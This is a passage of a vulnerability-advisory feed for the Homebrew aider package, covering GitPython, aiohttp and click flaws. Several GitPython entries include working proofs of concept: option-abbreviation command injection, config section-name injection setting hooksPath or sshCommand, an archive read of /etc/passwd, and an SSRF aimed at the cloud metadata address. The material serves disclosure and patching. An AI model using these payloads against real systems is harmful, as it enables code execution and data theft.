gitpython","resource_purl":"pkg:pypi/gitpython@3.1.46"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"gitpython","subject_version":"3.1.46","key":"pkg:pypi/gitpython@3.1.46","resource":"gitpython"}]},"summary":"GitPython: Command Injection via git long-option prefix abbreviation bypass of CVE-2026-42215 blocklist","details":"## Command injection via long-option prefix abbreviation bypassing `check_unsafe_options` (incomplete fix of CVE-2026-42215 / GHSA-rpm5-65cw-6hj4)\n\n**Component:** gitpython-developers/GitPython (PyPI: GitPython)\n**Affected:** all versions carrying the 3.1.47 blocklist fix, through current `main` (verified at commit `20c5e275`, `3.1.50-42`)\n**Reporter:** hackkim\n\n### Summary\n\nThe 3.1.47 fix for CVE-2026-42215 blocks dangerous git options (`--upload-pack`, `--config`, `-c`, `-u` for clone; `--upload-pack` for fetch/pull; `--receive-pack`, `--exec` for push) so callers cannot reach command-executing options unless they pass `allow_unsafe_options=True`.\n\nThe fix canonicalizes an option name along **one** axis (underscore→hyphen via `dashify`) and checks it against an **exact-match** dict. It does not account for git's unambiguous long-option prefix abbreviation. Git accepts any unambiguous prefix of a long option (`--upload-p`, `--upload-pa`, `--upload-pac` all resolve to `--upload-pack`). So a kwarg key like `upload_p` canonicalizes to `upload-p`, misses the blocklist dict, and is emitted to git as `--upload-p=` → executed as `--upload-pack=` → command injection, in the default `allow_unsafe_options=False` configuration.\n\n### The asymmetry (root cause)\n\n```python\n# git/cmd.py (commit 20c5e275), lines 948-974\n@classmethod\ndef _canonicalize_option_name(cls, option):\n option_name = option.lstrip(\"-\").split(\"=\", 1)[0]\n option_tokens = option_name.split(None, 1)\n if not option_tokens:\n return \"\"\n return dashify(option_tokens[0]) # only transform: \"_\" -> \"-\"\n\n@classmethod\ndef check_unsafe_options(cls, options, unsafe_options):\n canonical_unsafe_options = {cls._canonicalize_option_name(o): o for o in unsafe_options}\n for option in options:\n unsafe_option = canonical_unsafe_options.get(cls._canonicalize_option_name(option))\n if unsafe_option is not None:\n raise UnsafeOptionError(...)\n```\n\nThe guard normalizes only `_`→`-` and does exact dict membership. Git's CLI parser accepts a broader grammar (prefix abbreviation) than the guard models, so abbreviated keys slip through and reach git as the blocked option.\n\n### Affected code (commit `20c5e275`)\n\n| Location | Role |\n|---|---|\n| `git/cmd.py:948-960` `_canonicalize_option_name` | canonicalizer — no prefix expansion |\n| `git/cmd.py:963-974` `check_unsafe_options` | exact-match dict lookup (the incomplete guard) |\n| `git/cmd.py:1511` `transform_kwarg` | emits `--=` to the CLI |\n| `git/repo/base.py:1411,1413` | clone call sites |\n| `git/remote.py:1074,1128,1201` | fetch / pull / push call sites |\n\n### Bypass keys (verified)\n\n| kwarg key | git resolves to | path | weaponizable |\n|---|---|---|---|\n| `upload_p`, `upload_pac` | `--upload-pack` | clone / fetch / pull | Yes — direct RCE |\n| `receive_p` | `--receive-pack` | push | Yes — direct RCE |\n| `exe` | `--exec` | push | Yes — direct RCE |\n| `conf`, `confi` | `--config` | clone | bypasses option blocklist; RCE needs an additional config vector (see note) |\n\n### Minimal PoC\n\nSelf-contained, no network egress (a local bare repo acts as the \"remote\"). Tested on current `main` (git 2.50.1):\n\n```python\nimport os, stat, tempfile\nfrom git import Repo\n\nwork = tempfile.mkdtemp()\nmarker = os.path.join(work, \"RCE_MARKER\")\n\n# fake \"upload-pack\" program that proves arbitrary command execution\nprog = os.path.join(work, \"evil.sh\")\nwith open(prog, \"w\") as f:\n f.write(f\"#!/bin/sh\\ntouch {marker}\\nexit 1\\n\") # exit 1 so git aborts after our code ran\nos.chmod(prog, os.stat(prog).st_mode | stat.S_IEXEC)\n\nbare = os.path.join(work, \"remote.git\")\nRepo.init(bare, bare=True)\n\n# attacker-controlled kwarg KEY 'upload_p' -> --upload-p= -> git runs \ntry:\n Repo.clone_from(bare, os.path.join(work, \"out\"), upload_p=prog)\nexcept Exception:\n pass # git aborts with GitCommandError AFTER the payload executed\n\nprint(\"RCE marker created:\", os.path.exists(marker)) # True -> command injection confirmed\n```\n\nEquivalent at the shell: `git clone --upload-p=/tmp/evil.sh src out` runs `evil.sh`.\n\nConfirmed behavior:\n- `upload_pack` (exact) → blocked; `upload_p` (abbrev) → passes guard, reaches git, executes. The fix works for the form it models but not the abbreviated form.\n- `allow_unsafe_options=True` opt-out behaves as documented (out of scope).\n\n### Honest scope note\n\nLike the parent CVE, exploitation requires a host application that flows attacker-controlled kwarg **keys** into a GitPython clone/fetch/pull/push. Where the host passes only fixed/validated keys, this is not reachable — the vulnerability is in the library's documented defense-in-depth control (`allow_unsafe_options=False`), which this variant defeats.\n\nOn the `--config` family: `conf` bypasses the option blocklist, but weaponizing `--config protocol.ext.allow=always` via an `ext::` URL is independently blocked by GitPython's protocol allowlist (`allow_unsafe_protocols=False`). The directly weaponizable family is `upload-pack` / `receive-pack` / `exec`. Reported transparently — not claiming Critical.\n\n### Suggested remediation (any one)\n\n1. **Prefix-aware matching:** reject any option whose canonical name is an unambiguous prefix of a blocked option (≈ `startswith` on the blocked canonical name, after `dashify`).\n2. **Disable abbreviation at the sink:** pass `--end-of-options` or invoke git in a way that disables long-option abbreviation.\n3. **Allowlist** option names on security-sensitive subcommands instead of a blocklist.\n\nRemediation should also cover the `-c`/`--config` family abbreviations, even though the `ext::` route is currently gated by the protocol allowlist.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H"}],"references":[{"type":"WEB","url":"https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-2f96-g7mh-g2hx"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-67325"},{"type":"WEB","url":"https://github.com/gitpython-developers/GitPython/pull/2161"},{"type":"WEB","url":"https://github.com/gitpython-developers/GitPython/commit/56806080c1348749b07daa4a2024ce47b3cad285"},{"type":"PACKAGE","url":"https://github.com/gitpython-developers/GitPython"},{"type":"WEB","url":"https://github.com/gitpython-developers/GitPython/releases/tag/3.1.51"},{"type":"WEB","url":"https://www.vulncheck.com/advisories/gitpython-before-command-injection-via-option-prefix-abbreviation"}]},{"schema_version":"1.7.3","id":"BREW-aider-CVE-2026-67326","published":"2026-08-13T16:35:12Z","modified":"2026-09-20T11:37:04Z","upstream":["GHSA-mv93-w799-cj2w","CVE-2026-67326","PYSEC-2026-3980"],"affected":[{"package":{"ecosystem":"Homebrew","name":"aider","purl":"pkg:brew/aider"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"ecosystem_specific":{"fix":null,"range_state":"affected","upstream_fixed_in":"3.1.50","resource":"gitpython","resource_purl":"pkg:pypi/gitpython@3.1.46"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"gitpython","subject_version":"3.1.46","key":"pkg:pypi/gitpython@3.1.46","resource":"gitpython"}]},"summary":"GitPython: Newline injection in config_writer() section parameter bypasses CVE-2026-42215 patch, enabling RCE via core.hooksPath","details":"Summary\n\nThe patch for CVE-2026-42215 (GitPython 3.1.49) validates newlines only in the value parameter of set_value(). The section and option parameters are passed to configparser without any newline validation. An attacker who controls the section argument can inject \\n to write arbitrary section headers into .git/config, including a forged [core] section with hooksPath pointing to an attacker-controlled directory, leading to RCE when any git hook is triggered.\n\nDetails\n\nFile: git/config.py — GitPython 3.1.49 (latest patched version)\n\n```python\n def set_value(self, section: str, option: str, value) -> \"GitConfigParser\":\n value_str = self._value_to_string_safe(value) # only value is validated\n if not self.has_section(section):\n self.add_section(section) # section not validated\n super().set(section, option, value_str) # option not validated\n return self\n```\n\n_write() formats section headers as \"[%s]\\n\" % name. When section = \"user]\\n[core\", this writes [user]\\n[core]\\n — two valid section headers — into .git/config.\n\nPoC\n\n```python\n import git, os, subprocess\n\n repo = git.Repo.init(\"/tmp/bypass_test\")\n\n os.makedirs(\"/tmp/evil_hooks\", exist_ok=True)\n with open(\"/tmp/evil_hooks/pre-commit\", \"w\") as f:\n f.write(\"#!/bin/sh\\nid > /tmp/rce_proof.txt\\n\")\n os.chmod(\"/tmp/evil_hooks/pre-commit\", 0o755)\n\n # Inject newline into section parameter (not value — already patched)\n with repo.config_writer() as cw:\n cw.set_value(\"user]\\n[core\", \"hooksPath\", \"/tmp/evil_hooks\")\n\n r = subprocess.run([\"git\", \"-C\", \"/tmp/bypass_test\", \"config\", \"core.hooksPath\"],\n capture_output=True, text=True)\n print(r.stdout.strip()) # → /tmp/evil_hooks\n\n subprocess.run([\"git\", \"-C\", \"/tmp/bypass_test\", \"commit\", \"--allow-empty\", \"-m\", \"x\"])\n print(open(\"/tmp/rce_proof.txt\").read()) # → uid=1000(...) RCE confirmed\n```\n\nImpact\n\nSame attack outcome as CVE-2026-42215 (RCE via core.hooksPath injection). The patch is incomplete — only value is validated while section and option remain injectable.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:L/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H"}],"references":[{"type":"WEB","url":"https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-mv93-w799-cj2w"},{"type":"ADVISORY","url":"https://github.com/advisories/GHSA-rpm5-65cw-6hj4"},{"type":"PACKAGE","url":"https://github.com/gitpython-developers/GitPython"}]},{"schema_version":"1.7.3","id":"BREW-aider-CVE-2026-69097","published":"2026-08-13T16:35:12Z","modified":"2026-09-20T11:37:04Z","upstream":["GHSA-3rp5-jjmw-4wv2","CVE-2026-69097","PYSEC-2026-3981"],"affected":[{"package":{"ecosystem":"Homebrew","name":"aider","purl":"pkg:brew/aider"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"ecosystem_specific":{"fix":null,"range_state":"affected","upstream_fixed_in":"3.1.53","resource":"gitpython","resource_purl":"pkg:pypi/gitpython@3.1.46"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"gitpython","subject_version":"3.1.46","key":"pkg:pypi/gitpython@3.1.46","resource":"gitpython"}]},"summary":"GitPython: git-config section-name injection enables arbitrary config directives (core.sshCommand RCE)","details":"### Summary\n\nIn GitPython `<= 3.1.52`, the config writer neutralizes only CR, LF, and NUL in configuration **names**, but writes section names into the `[...]` header with no other escaping. A section/subsection name that contains `] [ \"` closes the intended header and opens a second same-line section, injecting an arbitrary config directive — with no newline required. Because a submodule **name** is attacker-controlled data (it comes from a repository's `.gitmodules`, or from an application that lets a user name a submodule) and is written verbatim into the parent repository's trusted `.git/config`, an attacker can set `core.sshCommand` (or `alias.*`, `core.pager`, `core.fsmonitor`) and achieve remote code execution on the victim's next git operation. Likely **CWE-74 (Injection)**.\n\nThis is a distinct variant of the injection addressed by GHSA-mv93-w799-cj2w / GHSA-v87r-6q3f-2j67: those fixed **newline** injection into config values/names (patched in 3.1.50); the `[r\\n\\x00]` guard added for them does not stop a **same-line** section break inside a name.\n\n### Details\n\nThe only guard applied to section/option names before writing is `_assure_config_name_safe`, which uses a regex that matches solely CR/LF/NUL:\n\n`git/config.py:75,897-899` (`GitPython 3.1.52`):\n\n```python\nUNSAFE_CONFIG_CHARS_RE = re.compile(r\"[\\r\\n\\x00]\")\n...\ndef _assure_config_name_safe(self, name: \"cp._SectionName\", label: str) -> None:\n if isinstance(name, str) and UNSAFE_CONFIG_CHARS_RE.search(name):\n raise ValueError(\"Git config %s names must not contain CR, LF, or NUL\" % label)\n```\n\nThe name is then serialized into the header with no escaping of `]`, `[`, `\"`, space, `=` or `#`:\n\n`git/config.py:693`:\n\n```python\nfp.write((\"[%s]\\n\" % name).encode(defenc))\n```\n\nFor submodules the name is wrapped as `submodule \"\"` (`git/objects/submodule/util.py:39`, `return f'submodule \"{name}\"'`), which supplies the balancing quote. A submodule named:\n\n```\nx\"] [core] sshCommand=CMD #\n```\n\ntherefore serializes to the header `[submodule \"x\"] [core] sshCommand=CMD #\"]`. git parses everything after the first `]` on that line as a fresh section, yielding `core.sshCommand=CMD` (the trailing `#\"]` is an inline comment). No CR/LF/NUL appears, so `_assure_config_name_safe` never fires.\n\nThe attacker-controlled name reaches this sink through documented public entry points that write it into the parent repository's `.git/config`:\n\n- `Repo.create_submodule(name=, ...)` → `Submodule.add` → `git/objects/submodule/base.py:619` `writer.set_value(sm_section(name), \"url\", url)` — a single call, no hostile remote required.\n- `Repo.clone_from()` + `repo.submodule_update(init=True)` → `git/objects/submodule/base.py:855` `writer.set_value(sm_section(self.name), \"url\", self.url)`, where `self.name` is read unvalidated from the cloned repo's `.gitmodules`.\n\nAsymmetry: the sibling class is blocked — a newline in a config **value**, e.g. `set_value(\"core\", \"editor\", \"x\\n\\tsshCommand=CMD\")`, raises `ValueError`. The section-**name** bracket payload is not caught by the same guard.\n\n### PoC\n\nSingle self-contained script, run against the pinned release in an ephemeral environment. Non-destructive: the injected value is an inert marker, verified parse-only with `git config --get`; no ssh/fetch/push is run and nothing is executed.\n\n```python\n#!/usr/bin/env python3\n\"\"\"Minimal PoC: git-config section-name injection in GitPython==3.1.52.\"\"\"\nfrom importlib.metadata import version\nimport os, tempfile, subprocess\nimport git\n\nprint(f\"# GitPython {version('GitPython')}\") # version proof -- first line\n\nMARKER = \"MARKER_9f3a\" # inert; never executed\ntmp = tempfile.mkdtemp()\nenv = {**os.environ, \"HOME\": tmp,\n \"GIT_CONFIG_GLOBAL\": os.path.join(tmp, \"gc\"), \"GIT_CONFIG_SYSTEM\": os.devnull,\n \"GIT_AUTHOR_NAME\": \"a\", \"GIT_AUTHOR_EMAIL\": \"a@b.c\",\n \"GIT_COMMITTER_NAME\": \"a\", \"GIT_COMMITTER_EMAIL\": \"a@b.c\"}\n\ndef run(*a, cwd=None):\n return subprocess.run(a, cwd=cwd, env=env, capture_output=True, text=True)\n\n# A benign local repo used as the submodule url (a plain path, no network).\nsrc = os.path.join(tmp, \"src\"); os.makedirs(src)\nrun(\"git\", \"init\", \"-q\", src)\nopen(os.path.join(src, \"f\"), \"w\").write(\"x\")\nrun(\"git\", \"add\", \"f\", cwd=src); run(\"git\", \"commit\", \"-qm\", \"i\", cwd=src)\nsuburl = os.path.join(tmp, \"sub.git\"); run(\"git\", \"clone\", \"-q\", \"--bare\", src, suburl)\n\ndef parent_repo():\n p = tempfile.mkdtemp(dir=tmp)\n run(\"git\", \"init\", \"-q\", p)\n open(os.path.join(p, \"r\"), \"w\").write(\"x\")\n run(\"git\", \"add\", \"r\", cwd=p); run(\"git\", \"commit\", \"-qm\", \"i\", cwd=p)\n return p\n\ndef injected_sshcommand(parent):\n r = run(\"git\", \"config\", \"-f\", os.path.join(parent, \".git\", \"config\"),\n \"--get\", \"core.sshCommand\")\n return (r.returncode, r.stdout.strip())\n\nbenign = \"docs\"\nevil = f'x\"] [core] sshCommand={MARKER} #' # closes the header, opens [core]\n\np_control = parent_repo()\ngit.Repo(p_control).create_submodule(name=benign, path=\"docs\", url=suburl)\np_exploit = parent_repo()\ngit.Repo(p_exploit).create_submodule(name=evil, path=\"sub\", url=suburl)\n\nctl = injected_sshcommand(p_control)\nexp = injected_sshcommand(p_exploit)\nheader = [l for l in open(os.path.join(p_exploit, \".git\", \"config\")).read().splitlines()\n if l.startswith(\"[submodule\")][0]\n\nprint(\"control name :\", repr(benign))\nprint(\" git core.sshCommand ->\", ctl, \"(unset)\")\nprint(\"exploit name :\", repr(evil))\nprint(\" written header ->\", header)\nprint(\" git core.sshCommand ->\", exp)\n\nassert ctl[0] != 0 and ctl[1] == \"\", \"control unexpectedly set core.sshCommand\"\nassert exp == (0, MARKER), \"not reproduced\"\nprint(f\"VERDICT: attacker-controlled submodule name injected core.sshCommand={MARKER} \"\n f\"into the victim's trusted .git/config (git would run it on the next ssh op)\")\n```\n\nRun:\n\n```bash\nuv run --with GitPython==3.1.52 python poc.py\n```\n\nObserved output:\n\n```\n# GitPython 3.1.52\ncontrol name : 'docs'\n git core.sshCommand -> (1, '') (unset)\nexploit name : 'x\"] [core] sshCommand=MARKER_9f3a #'\n written header -> [submodule \"x\"] [core] sshCommand=MARKER_9f3a #\"]\n git core.sshCommand -> (0, 'MARKER_9f3a')\nVERDICT: attacker-controlled submodule name injected core.sshCommand=MARKER_9f3a into the victim's trusted .git/config (git would run it on the next ssh op)\n```\n\nThe benign name yields a single clean `[submodule \"docs\"]` section; the malicious name yields an injected `core.sshCommand`. Deterministic across runs. The payload must use balanced double-quotes (an unbalanced `\"` makes git reject the header); the `submodule \"\"` wrapper balances them automatically.\n\n### Impact\n\nArbitrary attacker-controlled write into the victim's repository-local `.git/config`, which git fully trusts. `core.sshCommand` is executed as the ssh transport command on the victim's next ssh git operation (fetch/pull/push), giving remote code execution; other injectable keys (`alias.*`, `core.pager`, `core.fsmonitor`) fire on more common operations. Reachable in default configuration through two realistic paths:\n\n- an application that constructs a submodule from untrusted input via `Repo.create_submodule(name=...)` (single call); or\n- `Repo.clone_from` of an untrusted repository followed by `submodule_update` — the canonical submodule threat model, where the malicious name is read from the cloned `.gitmodules`.\n\nNo non-default git settings are required. Primarily a Unix vector: on Windows the `\"` in the resulting `.git/modules/` directory name can abort the fresh-clone write branch (the direct config-API and `create_submodule` sinks are unaffected).\n\n### Recommended fix\n\nReject or escape configuration section/subsection/option **names** that contain `]`, `[`, `\"`, or leading/trailing whitespace (or apply git's own section-name escaping) in `_assure_config_name_safe` / `write_section`, rather than only CR/LF/NUL. Validating submodule names before they reach `sm_section` would additionally close the clone-driven path.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:L/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H"}],"references":[{"type":"WEB","url":"https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-3rp5-jjmw-4wv2"},{"type":"WEB","url":"https://github.com/gitpython-developers/GitPython/commit/1ed1b924f4e2d2ee7bab296df77b978af21853f1"},{"type":"PACKAGE","url":"https://github.com/gitpython-developers/GitPython"},{"type":"WEB","url":"https://github.com/gitpython-developers/GitPython/releases/tag/3.1.53"}]},{"schema_version":"1.7.3","id":"BREW-aider-CVE-2026-69243","published":"2026-08-13T16:35:12Z","modified":"2026-09-09T23:40:56Z","upstream":["GHSA-mfx4-hv73-q22v","CVE-2026-69243","PYSEC-2026-3546"],"affected":[{"package":{"ecosystem":"Homebrew","name":"aider","purl":"pkg:brew/aider"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"ecosystem_specific":{"fix":null,"range_state":"affected","upstream_fixed_in":"3.14.2","resource":"aiohttp","resource_purl":"pkg:pypi/aiohttp@3.13.3"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"aiohttp","subject_version":"3.13.3","key":"pkg:pypi/aiohttp@3.13.3","resource":"aiohttp"}]},"summary":"AIOHTTP: HTTP request smuggling via WebSocket upgrade","details":"### Summary\n\nThe HTTP parsers were vulnerable to a request smuggling attack relating to WebSocket upgrades.\n\n### Impact\n\nIf using the server-side component, it may be possible for an attacker to execute a request smuggling vulnerability using an edge case in the WebSocket upgrade procedure. AIOHTT is unaware of any public exploit code.\n\n---\n\nPatch: https://github.com/aio-libs/aiohttp/commit/6ae358f0983c3f4d6f67692b2f8e65dc8e091c98","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N"}],"references":[{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/security/advisories/GHSA-mfx4-hv73-q22v"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/pull/13017"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/commit/6ae358f0983c3f4d6f67692b2f8e65dc8e091c98"},{"type":"PACKAGE","url":"https://github.com/aio-libs/aiohttp"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/releases/tag/v3.14.2"}]},{"schema_version":"1.7.3","id":"BREW-aider-CVE-2026-69244","published":"2026-08-13T16:35:12Z","modified":"2026-09-09T23:40:56Z","upstream":["GHSA-cq5v-8q36-5273","CVE-2026-69244","PYSEC-2026-3545"],"affected":[{"package":{"ecosystem":"Homebrew","name":"aider","purl":"pkg:brew/aider"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"ecosystem_specific":{"fix":null,"range_state":"affected","upstream_fixed_in":"3.14.3","resource":"aiohttp","resource_purl":"pkg:pypi/aiohttp@3.13.3"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"aiohttp","subject_version":"3.13.3","key":"pkg:pypi/aiohttp@3.13.3","resource":"aiohttp"}]},"summary":"AIOHTTP: Out-of-bounds heap read in C HTTP response parser error path (malformed chunked response)","details":"### Summary\n\nAn out-of-bounds heap read could occur in the C response parser while building an error message for a malformed response.\n\n### Impact\n\nAn attacker controlled server, or possibly an accidental response could trigger a DoS in the client.\n\n### Workaround\n\nIf unable to upgrade, the Python parser is unaffected and can be used with `AIOHTTP_NO_EXTENSIONS=1`.\n\n---\n\nPatch: https://github.com/aio-libs/aiohttp/commit/49f65d54150397892f7bcc4aae887767d51c322d","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N"}],"references":[{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/security/advisories/GHSA-cq5v-8q36-5273"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/pull/13223"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/commit/49f65d54150397892f7bcc4aae887767d51c322d"},{"type":"PACKAGE","url":"https://github.com/aio-libs/aiohttp"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/releases/tag/v3.14.3"}]},{"schema_version":"1.7.3","id":"BREW-aider-CVE-2026-7246","published":"2026-08-13T16:35:12Z","modified":"2026-08-13T16:35:12Z","upstream":["PYSEC-2026-2132","CVE-2026-7246","GHSA-47fr-3ffg-hgmw"],"affected":[{"package":{"ecosystem":"Homebrew","name":"aider","purl":"pkg:brew/aider"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"ecosystem_specific":{"fix":null,"range_state":"affected","upstream_fixed_in":"8.3.3","resource":"click","resource_purl":"pkg:pypi/click@8.3.1"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"click","subject_version":"8.3.1","key":"pkg:pypi/click@8.3.1","resource":"click"}]},"details":"Pallets Click, versions 8.3.2 and below, contain a command injection vulnerability in the click.edit() function, allowing attackers to pass arbitrary OS commands from an unprivileged account.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:L/AC:H/PR:H/UI:R/S:C/C:H/I:H/A:H"}],"references":[{"type":"WEB","url":"https://access.redhat.com/security/cve/CVE-2026-7246"},{"type":"WEB","url":"https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-7246.json"},{"type":"ADVISORY","url":"https://access.redhat.com/errata/RHSA-2026:24761"},{"type":"ADVISORY","url":"https://access.redhat.com/errata/RHSA-2026:24762"},{"type":"REPORT","url":"https://bugzilla.redhat.com/show_bug.cgi?id=2464121"},{"type":"FIX","url":"https://github.com/pallets/click/releases/tag/8.3.3"},{"type":"EVIDENCE","url":"https://github.com/tsigouris007/security-advisories/security/advisories/GHSA-47fr-3ffg-hgmw"}]},{"schema_version":"1.7.3","id":"BREW-aider-CVE-2026-73619","published":"2026-08-14T08:50:09Z","modified":"2026-09-11T15:20:33Z","upstream":["GHSA-539m-9xh6-q6rr","CVE-2026-73619","PYSEC-2026-3948"],"affected":[{"package":{"ecosystem":"Homebrew","name":"aider","purl":"pkg:brew/aider"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"ecosystem_specific":{"fix":null,"range_state":"affected","upstream_fixed_in":"3.1.57","resource":"gitpython","resource_purl":"pkg:pypi/gitpython@3.1.46"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"gitpython","subject_version":"3.1.46","key":"pkg:pypi/gitpython@3.1.46","resource":"gitpython"}]},"summary":"GitPython: Incomplete unsafe_git_archive_options denylist omits --add-file / --add-virtual-file, enabling arbitrary file read via Repo.archive()","details":"**Target:** gitpython-developers/GitPython\n**Tested:** HEAD `07e80555` (2026-07-25), latest release 3.1.55, `git version 2.50.1`\n\n## Summary\n\n`Repo.archive()` does call the option guard, so this is not a missing-guard report. The guard is present and working; the **denylist it consults is incomplete**.\n\n```python\n# git/repo/base.py:169\nunsafe_git_archive_options = [\n # Allows arbitrary command execution through the remote git-upload-archive command.\n \"--exec\",\n # Writes output to a caller-controlled filesystem path.\n \"--output\",\n \"-o\",\n]\n```\n\nThe comment on `--output` states the protected class in the project's own words: an option that lets the caller name **a filesystem path** is unsafe. `--output` is blocked because it *writes* to a caller-chosen path.\n\n`git archive` also accepts `--add-file=` and `--add-virtual-file=` (both present in current git; verified against `git version 2.50.1`). `--add-file` *reads* a caller-chosen path — including an absolute path outside the repository — and places the bytes into the archive the caller receives. Neither option is in the list, and no other layer references them:\n\n```\n$ grep -rniE \"add.file|add_file\" git/\ngit/index/base.py:771: R\"\"\"Add files from the working tree, ... # unrelated docstring\n```\n\nNet effect: the guard blocks arbitrary file **write** at this sink while permitting arbitrary file **read** at the same sink.\n\n## Reachability proof (verified at the sink)\n\n`poc/poc_addfile.py` at HEAD `07e80555`. The PoC creates its own out-of-tree canary, so it runs from a clean machine:\n\n```\n-- CONTROL: options the denylist covers (expect BLOCKED) --\n [BLOCKED] output='/tmp/gp_written.tar': --output is not allowed, use `allow_unsafe_options=True` to allow it.\n [BLOCKED] o='/tmp/gp_written.tar': -o is not allowed, use `allow_unsafe_options=True` to allow it.\n [BLOCKED] exec='touch /tmp/gp_exec': --exec is not allowed, use `allow_unsafe_options=True` to allow it.\n\n-- SIBLING OMITTED FROM THE DENYLIST: --add-file (expect ALLOWED) --\n [ALLOWED] add_file='/tmp/gp_canary.txt' -> archive 10240 bytes\n archive members: ['f.txt', 'gp_canary.txt']\n >>> EXFILTRATED gp_canary.txt: 'secret-canary-12345'\n >>> byte-for-byte match with the out-of-tree file: CONFIRMED\n\n-- also: --add-virtual-file (attacker-chosen name AND content) --\n [ALLOWED] add_virtual_file='pwn.txt:hello' -> archive 10240 bytes\n```\n\nThe three blocked lines are the control: they prove the guard is active on this call path, so the fourth result is a gap in list membership rather than a guard that never ran.\n\nMinimal reproduction:\n\n```python\nimport io, tarfile\nfrom git import Repo\n\nbuf = io.BytesIO()\nRepo(\"/path/to/repo\").archive(buf, format=\"tar\", add_file=\"/etc/passwd\")\nprint(tarfile.open(fileobj=io.BytesIO(buf.getvalue())).getnames())\n# ['', 'passwd'] <- contents readable by whoever receives the archive\n```\n\nThe canary is untracked and lives outside the repository; its contents are recovered from the returned archive and asserted byte-for-byte against the on-disk file. The option is rendered by `transform_kwargs` into `--add-file=` and reaches `git archive` unmodified.\n\n## Direct precedent\n\n`GHSA-6p8h-3wgx-97gf` (High, published 2026-07-22) is the same defect on the sibling list: *\"Incomplete `unsafe_git_clone_options` denylist omits `--template`\"* — an option absent from one of these denylists, reachable under the same caller-controlled-options precondition, accepted and fixed by adding it. `git log` shows the archive list itself has already been extended reactively once, in `701ce32f` (*fix: Guard unsafe git command options*, GHSA-956x-8gvw-wg5v), and the `--template` omission was then fixed separately in `ffcb5359`.\n\n## `--add-virtual-file` is the same gap pointing the other way\n\n`--add-virtual-file=` lets the caller inject **attacker-chosen content under an attacker-chosen name** into an archive that downstream consumers will reasonably treat as repository-derived. \n\n## Suggested remediation\n\n1. **Preferred — allowlist.** `Repo.archive()` has a small legitimate option surface (`format`, `prefix`, `worktree_attributes`, `remote`, compression level, plus paths). Accepting those and rejecting the rest means a future git release cannot add another path-taking option that silently reopens this.\n2. **Minimum — extend the list** with `--add-file` and `--add-virtual-file`, and make the membership rule *\"the option takes a filesystem path or URL\"* rather than *\"the option executes a command\"*. The existing comment on `--output` already implies that rule; applying it consistently is what closes the class instead of this instance.\n\n## Scope limits\n\n- Impact is **arbitrary file read at the privileges of the process**. Not code execution — I make no such claim here.\n- It requires the embedding application to forward caller-influenced kwargs into `Repo.archive()`. That is the identical precondition to `--output`, `--exec` and `--template`, all of which this project has treated as reportable.\n\n## Disclosure\n\nReported privately via GitHub private vulnerability reporting. Happy to test a candidate patch against the PoC. No public disclosure until you have shipped a fix and are ready.\n---\n\n## Addendum (2026-07-25) — related observation on the same membership question, filed here rather than separately\n\nWhile auditing the archive denylist, the same class of gap was identified in unsafe_git_clone_options. A second advisory is not being requested, as the issue is lower severity and should inform the fix for the issue above rather than require separate triage. Recording it here to provide the complete picture in one place.\n\n`Repo._clone()` treats a URL's protocol as a security boundary and applies `check_unsafe_protocols()` to exactly one input:\n\n```python\nclone_url = Git.polish_url(url, expand_vars=False)\nif not allow_unsafe_protocols:\n Git.check_unsafe_protocols(clone_url) # the positional url only\n```\n\n`git clone` accepts a **second** URL via `--bundle-uri=`, which git dereferences before the main transport runs. That option is absent from `unsafe_git_clone_options`, so the option guard passes it, and `check_unsafe_protocols()` never inspects it. A caller-influenced value therefore drives an outbound request from the host:\n\n```python\nRepo.clone_from(trusted_url, dest,\n multi_options=[\"--bundle-uri=http://169.254.169.254/latest/meta-data/\"])\n# no UnsafeProtocolError, no UnsafeOptionError\n```\n\nConfirmed against a local listener — the request leaves the process:\n\n```\n127.0.0.1 - - [24/Jul/2026 23:07:41] \"GET /internal-metadata HTTP/1.1\" 404 